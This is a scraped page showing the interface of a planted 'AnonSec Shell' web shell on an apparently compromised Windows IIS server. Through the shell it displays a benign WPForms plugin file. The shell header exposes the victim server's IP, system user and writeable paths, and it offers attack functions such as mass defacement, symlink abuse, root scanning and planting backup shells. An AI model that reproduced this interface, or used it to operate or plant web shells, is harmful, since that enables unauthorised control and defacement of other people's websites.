. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 87.98.249.37  /  Your IP : 216.73.216.208   [ Reverse IP ]
Web Server : Microsoft-IIS/10.0
System : Windows NT NS3076740 10.0 build 17763 (Windows Server 2019) AMD64
User : IWPD_292(growel19p) ( 0)
PHP Version : 8.3.12
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Inetpub/vhosts/growel.com/httpdocs/blog/wp-content/plugins/wpforms/src/Pro/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : C:/Inetpub/vhosts/growel.com/httpdocs/blog/wp-content/plugins/wpforms/src/Pro/Robots.php
<?php

namespace WPForms\Pro;

/**
 * Class Robots handles robots.txt related code.
 *
 * @since 1.7.0
 */
class Robots {

	/**
	 * Hooks.
	 *
	 * @since 1.7.0
	 */
	public function hooks() {

		add_filter( 'robots_txt', [ $this, 'disallow_upload_dir_indexing' ], -42 );
	}

	/**
	 * Disallow WPForms upload directory indexing in robots.txt.
	 *
	 * @since 1.7.0
	 *
	 * @param string $output Robots.txt output.
	 *
	 * @return string
	 */
	public function disallow_upload_dir_indexing( $output ) {

		$upload_dir = wpforms_upload_dir();

		if ( ! empty( $upload_dir['error'] ) ) {
			return $output;
		}

		$site_url = site_url();

		$upload_root = str_replace( $site_url, '', $upload_dir['url'] );
		$upload_root = trailingslashit( $upload_root );

		$site_url_parts = wp_parse_url( $site_url );

		if ( ! empty( $site_url_parts['path'] ) ) {
			$upload_root = $site_url_parts['path'] . $upload_root;
		}

		/**
		 * By default, Allow/Disallow rules should be appended on the `robots_txt` filter to WordPress's default rules.
		 * However, some customers were reporting that the default rules were not present in the output.
		 * In this case, we need to add a User-agent rule manually to make robots.txt valid.
		 */
		if ( strpos( $output, 'User-agent:' ) === false ) {
			$output .= "User-agent: *\n";
		}

		$output .= "Disallow: $upload_root\n";

		return $output;
	}
}

Anon7 - 2022
AnonSec Team